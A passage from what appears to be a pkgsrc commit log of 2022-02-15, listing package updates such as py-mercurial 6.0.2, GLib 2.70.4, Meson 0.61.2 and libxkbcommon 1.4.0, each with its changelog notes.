GUI(Fix): "Fix a rendering problem of the control area on the bitmap plane window."
GUI(Fix): "Fix a resize problem on the bitmap plane window."
app(Fix): "Fix several UNIX signal handling."
app(Fix): "Fix some abnormal terminations at the beginning of the process."
app(Fix): "Fix some abnormal terminations at the end of the process."
app(Fix): "Fix some thread names for development."
vm(Update): "Implement the horizontal synchronizing signal on CRTC in progress. Implement the raster copy on the text VRAM in progress."

(jun)

2022-02-15 12:59:44 UTC MAIN commitmail json YAML

doc: Updated geography/qgis to 3.22.3

(gdt)

2022-02-15 12:59:21 UTC MAIN commitmail json YAML

2022-02-15 10:30:05 UTC MAIN commitmail json YAML

TODO: - py-mercurial

(wiz)

2022-02-15 10:28:38 UTC MAIN commitmail json YAML

Update devel/pstreams to version 1.0.3

pkgsrc changes:
drop perl dependecy, it is only used when buildling docs
install license, needed when distributing the .h file
use gmake

changes:
new license, boost-license
fix installation on case-insensitive file systems

(nros)

2022-02-15 10:21:38 UTC MAIN commitmail json YAML

doc: Updated devel/py-mercurial to 6.0.2

(wiz)

2022-02-15 10:21:30 UTC MAIN commitmail json YAML

py-mercurial: update to 6.0.2.

Mercurial 6.0.2

* Fix hg incoming and hg outgoing with remote subrepos on Windows
* Fix Rust build on MacOS
* Fix a (15 year old?) bug where some data loss could happen in
  a very tight race window
* Remove support for running hg unamend on merge changesets at
  it was never actually implemented
* Fix stream-clone requirements filtering which caused some
  stream-clones to be unusable from an older version of Mercurial
* Rename dirstate-v2 configuration name from exp-rc-dirstate-v2
  to use-dirstate-v2. This was overlooked in 6.0, the old name
  will be kept as an alias for compatibility.
* Fix a bug where the branchmap could point to uncommitted data

(wiz)

2022-02-15 10:20:16 UTC MAIN commitmail json YAML

Updated devel/pango, devel/mm-common, devel/libsigc++

(adam)

2022-02-15 10:19:29 UTC MAIN commitmail json YAML

libsigc++: updated to 2.10.8

2.10.8 (stable)

Build:
* Meson build: Perl is not required by new versions of mm-common
* NMake Makefiles: Support building with VS2022

Documentation:
* Upgrade the manual from DocBook 4.1 to DocBook 5.0

(adam)

2022-02-15 10:13:23 UTC MAIN commitmail json YAML

mm-common: updated to 1.0.4

mm-common 1.0.4 (2022-02-11)

* Add util/doc_postprocess.py and util/doc_install.py.
  Generating documentation in modules that use mm-common
  does not require Perl in Meson builds.

Meson build and skeletonmm:
* Specify 'check' option in run_command().
  The default value will change in future Meson releases.

(adam)

2022-02-15 10:12:55 UTC MAIN commitmail json YAML

pango: updated to 1.48.11

Overview of changes in 1.48.11
==============================
* Be more careful with rounding
* Reinstate behavior of pango_attr_list_splice for gnumeric

(adam)

2022-02-15 10:02:17 UTC MAIN commitmail json YAML

Updated devel/meson, devel/glib2, devel/glib2-tools, devel/gdbus-codegen

(adam)

2022-02-15 10:01:38 UTC MAIN commitmail json YAML

glib2 glib2-tools gdbus-codegen: updated to 2.70.4

Overview of changes in GLib 2.70.4
==================================

* Bugs fixed:
- Backport !2461 ���Fix memory leak in gio/gdbusauthmechanismsha1.c��� to glib-2-70

* Translation updates:
- Czech
- French
- Indonesian
- Japanese
- Polish
- Portuguese (Brazil)
- Russian
- Slovenian
- Spanish
- Swedish
- Ukrainian

Overview of changes in GLib 2.70.3
==================================

* Several important fixes to FD handling in gspawn

* Several important fixes to GDBus message and GVariant parsing of invalid data

* Fix potential data loss due to missing fsync when saving files on btrfs

* Bugs fixed:
- gspawn.c may clobber target fds
- gspawn.c fails to close child_err_report_fd if it is duped to avoid conflation with one of the target_fds
- Arrays of zero-element tuples with non-zero length lead to infinite loops in g_dbus_message_new_from_blob
- Check for GVariant recursion depth before recursing
- gspawn doesn't set CLOEXEC if close_range fails unexpectedly
- Backport !1968 ���gspawn: Fix file descriptor conflation issues��� to glib-2-70
- Backport !2412 ���paramspec: fix unref annotation��� to glib-2-70
- Backport !2425 ���gfileutils: Remove outdated BTRFS fsync optimization from set_contents��� to glib-2-70
- Backport !2435 ���gspawn: Report errors with closing file descriptors between fork/exec��� to glib-2-70
- Backport !2454 gdbusmessage and gvariant fixes to glib-2-70

* Translation updates:
- Czech
- Indonesian
- Italian
- Lithuanian
- Polish
- Portuguese
- Romanian
- Serbian
- Slovenian
- Spanish
- Swedish
- Turkish
- Ukrainian

(adam)

2022-02-15 10:00:05 UTC MAIN commitmail json YAML

meson: updated to 0.61.2

Meson 0.61

backend_startup_project
Windows.compile_resources CustomTarget
Add a man page backend to refman
extract_objects() supports generated sources
Python 3.6 support will be dropped in the next release
Warning if check kwarg of run_command is missing
meson rewrite can modify extra_files
meson rewrite target <target> info outputs target's extra_files
Visual Studio 2022 backend
Support for CMake <3.14 is now deprecated for CMake subprojects
Added support for sccache
install_symlink function

(adam)

2022-02-15 09:34:38 UTC MAIN commitmail json YAML

doc: Updated x11/libxkbcommon to 1.4.0

(wiz)

2022-02-15 09:34:29 UTC MAIN commitmail json YAML

libxkbcommon: update to 1.4.0.

libxkbcommon 1.4.0 - 2022-02-04
==================

- Add `enable-tools` option to Meson build (on by default) to allow disabling
  the `xkbcli` tools.

  Contributed by Alex Xu (Hello71).

- In `xkbcli list`, fix "YAML Norway problem" in output.

  Contributed by Peter Hutterer.

- In libxkbregistry, variants now inherit iso639, iso3166 and brief from parent
  layout if omitted.

  Contributed by M Hickford.

- In libxkbregistry, don't call `xmlCleanupParser()` - it's not supposed to
  be called by libraries.

  Contributed by Peter Hutterer.

- In libxkbregistry, skip over invalid ISO-639 or ISO-3166 entries.

  Contributed by Peter Hutterer.

(wiz)